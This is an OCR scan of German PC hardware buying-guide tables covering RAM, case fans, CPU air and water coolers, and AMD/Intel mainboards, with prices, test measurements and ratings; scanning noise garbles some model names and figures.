G.Skill Ares F3-1866C10D-16GAB Са. € 120,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vo 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung MELT PCGH-Preisvergleich 
G.Skill Trident Z F4-3600C16D-16GTZKW Ca. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,4 cm | 1,35 Vo 1,72 07/2017 | www.pcgh.de/preis/1505578 
Teamgroup T-Force Xtreem | TXGD416G4000HC18EDCO1 N. verfügbar | 2 x 8 GiByte DDR4-4000 | 18-20-20-44 | Single-Rank | 4,8 cm | 1,35 Vol 1,76 | 07/2017 | www.pcgh.de/preis/1593236 
Patriot Viper PV416G360C6K Са. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,1 cm | 1,35 Vo 1,80 | 07/2017 | www.pcgh.de/preis/1539744 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 390,- | 4 x 8 GiByte DDRA-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Flare X F4-3200C14D-16GFX Са. € 190,- | 2 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,0 cm | 1,35 Vo 1,93 | 07/2017 | www.pcgh.de/preis/1590064 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 360,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Yin TD Corsair Vengeance LED CMU32GX4M4C3200C16R Са. € 300,- | 4 x 8 GiByte DDRA-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
G.Skill Trident Z RGB F4-3200C16Q-32GTZR Са. € 320,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-38 | Single-Rank | 4,4 cm | 1,35 Vo 2,14 | 07/2017 | www.pcgh.de/preis/1564347 
Ballistix Elite BLE4C4G4D32AEEA Ca. € 160,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 223 2/2016 | www.pcgh.de/preis/1464325 
Ballistix Tactical BLT2C8G4D30AETA Са. € 150,- |2 х 8 GiByte DDR4-3000 | 15-16-16-35 | Dual-Rank | 3,8 cm | 1,35 Vo 2,29 | 07/2017 | www.pcgh.de/preis/1464309 
Corsair Vengeance LED CMU32GX4M2C3200C16B Ca. € 370,- | 2 x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 2/2016 | www.pcgh.de/preis/1512560 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI Z170A Gaming М7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** Silber-rote Version 
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Einkaufsführer Kühlung ee 


(ОТЕ ER PREIS-LEISTUNGS-TIPP [ERS o SPAR-TIPP 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter | 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 

Blacknoise Eloop B12-PS Ca. € 19,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 

Scythe Glide Stream 120 PWM Ca. €9,- | 4-Ріп PWM/50 cm - 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 qumTM 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 

EKL Alpenfóhn Wing Boost 2 Blue n. verfüg. | 4-Pin PWM/84 cm 7-Volt-Molex-Adapt. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 

Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm _ 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone | 2,62 12/2016 | www.pcgh.de/preis/342339 

Arctic F12 PWM Са. Є 5,- | 4-Pin PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 13,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 

Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm _ 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 

Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 

Cooler Master Silencio FP 120 PWM | Ca.€9,- | 4-Pin PWM/44 cm _ 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm - 1.200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 

Noctua NF-A14 FLX Ca. € 20,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 2:27) 01/2016 | www.pcgh.de/preis/870798 

Aerocool Dead Sil. White Edi. 140mm | Ca. € 17,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 

Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 

Fractal Design Venturi HP-14 PWM Ca. € 20,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 

Enermax T.B.Silence PWM 140mm Ca. € 10,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 ТҮҢ 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone | 2,42 01/2016 | www.pcgh.de/preis/1170330 

Be Quiet Silent Wings 2 PWM Ca. € 30,- | 4-Pin PWM/45 cm - 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 

Phanteks PH-F140SP n. verfüg. | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 Sone | 2,45 01/2016 | www.pcgh.de/preis/1112616 

Nanoxia Cool Force Ca.€7,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 www.pcgh.de/preis/1395404 ТТТ 
Enermax Cluster Advance Ca. € 16,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone | 2,65 01/2016 | www.pcgh.de/preis/1186749 

Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone | 2,72 01/2016 | www.pcgh.de/preis/681031 

Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 24,- | 4-Pin PWM/40 cm _ 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 

Be quiet Pure Wings 2 140mm Ca.€9,- | 3-Pin/45 cm _ 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone | 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,319,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 
* Auf Alphacool Nexxxos XT45 120/140/180 mm Radiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) | Wertung | Test in 
Noctua NH-D15 Са. € 90,- 51 x 175 x 162 mm; 1312g 50,8 *C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extreme Silent 14 Dual | Ca. € 75,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 2,11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Mugen 5 Ca. € 44,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,14 01/2017 | www.pcgh.de/preis/1549393 
Scythe Fuma Са. € 43,- 38 х 149 х 131 mm; 923 g 52,0 °С (900 U/min) 48,5/50,8/56,2 °С 2,9/1,3/0,4 Ѕопе 2,16 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 °C (1.140 U/min) 49,7/52,1/58,7 °С 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Са. € 60,- 55 x 161 x 151 mm; 1.1879 | 52,8 °С (1.020 U/min) 50,8/53,5/61,5 *C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT Ca. € 60,- 50 х 162 х 148 mm; 1.111g | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,23 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Са. € 45,- 42 х 173 х 129 mm; 877 g 52,2 *C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,25 02/2015 | www.pcgh.de/preis/1193857 <А 
Scythe Ninja 4 Са. €37,- 32 х 155 х 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,25 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Ca. € 38,- 52 x 162 x 128 mm; 823 g 52,1 *C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,26 04/2016 | www.pcgh.de/preis/1372274 
hermalright Silver Arrow ITX n. verfüg. 67 x 163 x 105 mm; 775 g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 227) 05/2016 | www.pcgh.de/preis/1209699 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 °С (1.340 U/min) 50,3/52,1/55,6 *C 2,1/0,9/0,3 Sone 2,32 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 35,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,33 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 39,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max.0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca. € 41,- 50 x 165 x 68 mm; 633 g 54 *C (1.060 U/min) 52,2/55,4/63,9 °C 1,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Са. € 37,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
EKL Alpenföhn Brocken Eco Са. € 31,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C 1,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Noctua МН-0155 Ca. € 80,- 49 x 163 x 134 mm; 1.153 g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,57 05/2016 | www.pcgh.de/preis/1271076 
Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C 1,5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 40,- 32x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Ca. € 48,- 39 x 161 x 112 mm; 910 g 55,3 °С (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca. € 39,- 28 х 141 x 67 mm; 328 g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C 1,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Arctic Freezer 132*** Ca. € 25,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 *C 1,0/0,4/0,2 Sone** 2,71 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Shadow Rock Slim Ca. € 40,- 41 х 159 x 73 mm; 702 g 54,8 *C (1.220 U/min) 53,5/57,1/64,3 °C 1,6/0,5/0,1 Sone 2,72 09/2015 | www.pcgh.de/preis/1054903 
Noctua МН-С145 Ca. € 75,- 46 x 142 х 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 3,02 04/2016 | www.pcgh.de/preis/1271077 
* Betrieb mit 50 Prozent Drehzahl nicht möglich ** Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche. *** Wegen über 500 N Anpresskraft rät PCGH von der Nutzung in LGA-1151-Systemen ab. 
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Einkaufsführer Wasserkühlung & Mainboards |... 


CENT RT PREIS-LEISTUNGS-TIPP Наїіцьага SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) Т" PCGH-Preisvergleich 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 °С (1.020 U/min) 49,4/51,2/56,0 °C 3,9/1,9/0,6/0,1 Sone 1,73 | 08/2016 | www.pcgh.de/preis/758311939 
ОТУТ) Arctic Liquid Freezer 240 Ca.€80,- | 273 х 120 х 88 mm 47,4 °C (970 U/min) 45,3/47,4/51,4 °C 2,5/1,0/,2/0,2 Sone 1,78 | 03/2016 | www.pcgh.de/preis/1341649 
Cooler Master Master Liquid 240 Ca.€90,- |278x120x 53 mm *C (1.320 U/min) 45,2/47,5/52,7 °C 3,9/1,6/0,4/0,1 Sone 1,81 07/2017 | www.pcgh.de/preis/1562099 
NZXT Kraken X62 Ca. € 150,- | 316 x 144 x 55 mm 43,6 *C (960 U/min) 41,5/41,7/43,6 °C 6,3/3,4/1,0/0,2 Sone 1,84 | 07/2017 | www.pcgh.de/preis/1526114 
Be Quiet Silent Loop 240 mm Ca. € 130,- | 275 x 123 x 55 mm 50,4 °C (1.230 U/min) 47,2/48,5/51,7 °C 4,3/2,0/0,5/0,1 Sone 1,87 | 07/2017 | www.pcgh.de/preis/1508159 
Fractal Design Celsius $24 Ca. € 110,- | 283 x 122 x 55 mm *C (1.100 U/min) 45,4/46,9/51,6 *C 4,6/2,1/0,7/0,1 Sone 1,99 07/2017 | www.pcgh.de/preis/1621894 
Fractal Design Celsius 536 Ca. € 120,- | 404 x 122 x 56 mm "T *C (1.020 U/min) 43,1/45,0/49,1 °C 5,3/2,8/0,9/0,1 Sone 2,04 07/2017 | www.pcgh.de/preis/1621923 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 46,4/47,6/51,2 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Ca.€80,- |275x 120x 53 mm 53,3 *C (1.020 U/min) 50,2/52,5/58,1 °C 2,8/1,3/,4/0,3 Sone 2,20 | 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80,- | 276 x 120 x 52 mm 51,7 °С (1.000 U/min) 48,0/49,7/52,7 °C 4,2/2,0/0,7/0,1 Sone 2,25 | 04/2016 | www.pcgh.de/preis/1374223 
ID-Cooling Frostflow 240 Са. € 95,- | 275 х 120 х 52 mm 51,7 °C (1.110 U/min) 47,6/49,3/52,1 °C 6,7/3,2/0,9/0,1 Sone 2,39 | 07/2017 | www.pcgh.de/preis/1425977 
Fractal Design Kelvin 524 Ca. € 130,- | 276 x 124 x 58 mm 52,7 °С = U/min) 49,3/50,5/53,3 °C 4,412,2/,8/0,7 Sone 2,42 | 06/2015 | www.pcgh.de/preis/1127755 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) Т PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 *C (1.120 U/min) 49,6/51,3/57,4 °С 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit 5240 Ca. € 200,- | 282 x 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 | 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 *C 2,9/1,3/0,5/0,3 Sone 1,58 | 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 


Mainboards für AMD-Prozessoren 


Sockel AM4 Preis IOH/Format | PCI-E CPU (3.0) & ІОН (2.0) | M.2-Anbindung | Sound USB ext/int; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asus Crosshair VI Hero Ca. € 240,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 51220 2/1x3.1; 8/2x3,0; 8x | 7 (7x PWM) 2,81 05/2017 | www.pcgh.de/preis/1582881 
Gigabyte AX370-Gam. 5 | Ca. € 200,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4x3,0; 8x | 8 (8x PWM) 2,82 05/2017 | www.pcgh.de/preis/1582173 
MSI X370 Xpower Titan. | Ca. € 280,- | X370/ATX x16*/x0* & x1/x1/x1/x0* 3.0x4; 2.0x4* | ALC1220 | 2/1x3.1; 4/4x3,0; 6x | 5 (5x PWM) 2:93 05/2017 | www.pcgh.de/preis/1580650 
Asrock X370 Killer SLI Са. € 150,- | X370/ATX x16*/x0* & x1/x1/x1/x1 3.0x4; 2.0x2 ALC892 | 2/0x3.1; 6/4x3,0; 6x | 5 (5х PWM) 2:93 05/2017 | www.pcgh.de/preis/1582146 

ID y Asus Prime X370-pro Ca. € 150,- | X370/ATX x16*/x0* & x0*/x1/x0*/x4* |3.0x4 S1220A |2/1x3.1; 6/2x3,0; 8x | 6 (6x PWM) 2,95 05/2017 | www.pcgh.de/preis/1582178 
Asus Prime B350-Plus Ca.€95,- | B350/ATX x16 & x0*/x4*/x0* 3.0x4 ALC887 | 2/0x3.1; 4/2x3,0; 6х | 3 (3x PWM) 3,26 06/2017 | www.pcgh.de/preis/1582183 

I y Asrock AB350M Pro4 Са. € 80,- | B350/uATX | x16 & x1/x4 3.0x4; SATA** | ALC892 | 0/0x3.1; 5/2x3,0; 4х | 3 (2x PWM) 3,36 06/2017 | www.pcgh.de/preis/1582198 
Gigabyte AB350-Gam. 3 | Ca. € 110,- | B350/ATX x16 & х1/х/4*/х0*/х0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 5 (5x PWM) 3,39 06/2017 | www.pcgh.de/preis/1582168 
Biostar Racing B350GT5 | Ca. € 120,- | B350/ATX x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1; 4/2x3,0; 4х | 4 (4x PWM) 3,42 06/2017 | www.pcgh.de/preis/1579988 

* PCI-E-Lane-Sharing ** M.2 shared mit SATA *** M.2 shared mit SATA und mit PCI-E-Slot(s) 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asus Maximus VIII Ranger | Ca. € 170,- | 2170/АТХ x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4х3,0; бх | 7 (7x PWM) 2,33 11/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Са. € 250,- | Z170/ATX | x16*/x0* & x1/x1/x1/x1/x2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM) 2,34 10/2015 | www.pcgh.de/preis/1306329 
In y Msi 2270 Gam. Pro Carb. | Ca. € 170,- | Z270/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2,37 02/2017 | www.pcgh.de/preis/1557471 
Asus Maximus IX Hero Ca. € 260,- | Z270/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
EVGA 2270 FTW K п. verfüg. | Z270/ATX | x16*/x0* & x4/x1/x1 3.0x4**: 3.0x4** | ALC1150 | 2/0x3.1; 6/4x3,0; 6x | 7 (7x PWM) 2,43 04/2017 | www.pcgh.de/preis/1561593 
EVGA 7170 Classified Ca. € 500,- | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**: 3.0x1 Sound Core | 0/2x3.1; 6/2x3,0; 8x | 7 (7x PWM) 2,44 10/2015 | www.pcgh.de/preis/1306951 
Gigabyte Z270X-Gaming 7 | Ca. € 220,- | Z270/ATX x16*/x0* & x1/x1/x0*/x0* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
Super Micro C72270-CG n.verfüg. | 2270/АТХ | x16*/x0*/x0* & x1/x1/x1 3.0x4; 3.0x4** ALC1150 | 4/0x3.1; 0/2x3,0; 6x | 5 (5x PWM) 2,49 04/2017 | www.pcgh.de/preis/1578717 
Asrock 7270 Gaming K6 | Ca. € 180,- | Z270/ATX x16*/x0* & x1/x1/x1/x4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (5x PWM) 252 02/2017 | www.pcgh.de/preis/1544856 
MSI 2170А Gaming M7 Ca. € 180,- | 2170/АТХ x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2x PWM) 2,53 10/2015 | www.pcgh.de/preis/1306689 
Gigabyte Z170X-Gam.3 |n.verfüg. | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3,0; 6x | 5 (1x PWM) 2,55 11/2015 | www.pcgh.de/preis/1306467 
Asrock 7170 Gaming K4 | Ca. € 120,- | 7170/АТХ x16 & x1/x1/x4/x 1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2x PWM) 2,58 11/2015 | www.pcgh.de/preis/1306625 
Supermicro С72170-50 Ca. € 220,- | 2170/АТХ x16*/x0*/x0* & x1/x4/x1 3.0x4 ALC898 1/0x3.1; 2/4x3,0; 6x | 5 (5x PWM) 2,77 10/2015 | www.pcgh.de/preis/1307677 
Biostar 2270GT6 Ca. € 210,- | Z270/ATX x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (bx PWM) 2,77 04/2017 | www.pcgh.de/preis/1558351 
MSI H170A PC Mate Ca. € 110,- | H170/ATX x16 & x0*/x0*/x0*/x4* 3.0x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2х PWM) 3,11 08/2016 | www.pcgh.de/preis/1319556 
ПІТ) Asrock B150M Pro4S Са. € 70,- | BIBO/JATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 3,28 08/2016 | www.pcgh.de/preis/1318332 
Asus H110M-Plus Са. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.01) - ALC887 2/0x3.1; 2/2x3,0; 4х | 2 (2x PWM) 3,49 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 260,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,80 10/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 290,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 10/2016 | www.pcgh.de/preis/1441449 
Gigabyte X99-Ultra Gam. | Ca. € 240,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,89 10/2016 | www.pcgh.de/preis/1446348 
ПІТ м9 X99A Raider Ca. € 190,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM) 1,95 10/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 230,- | X99/ATX x 16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 10/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 290,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM) 1,96 10/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K n. verfüg. | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x PWM) 2,07 10/2016 | www.pcgh.de/preis/1452679 


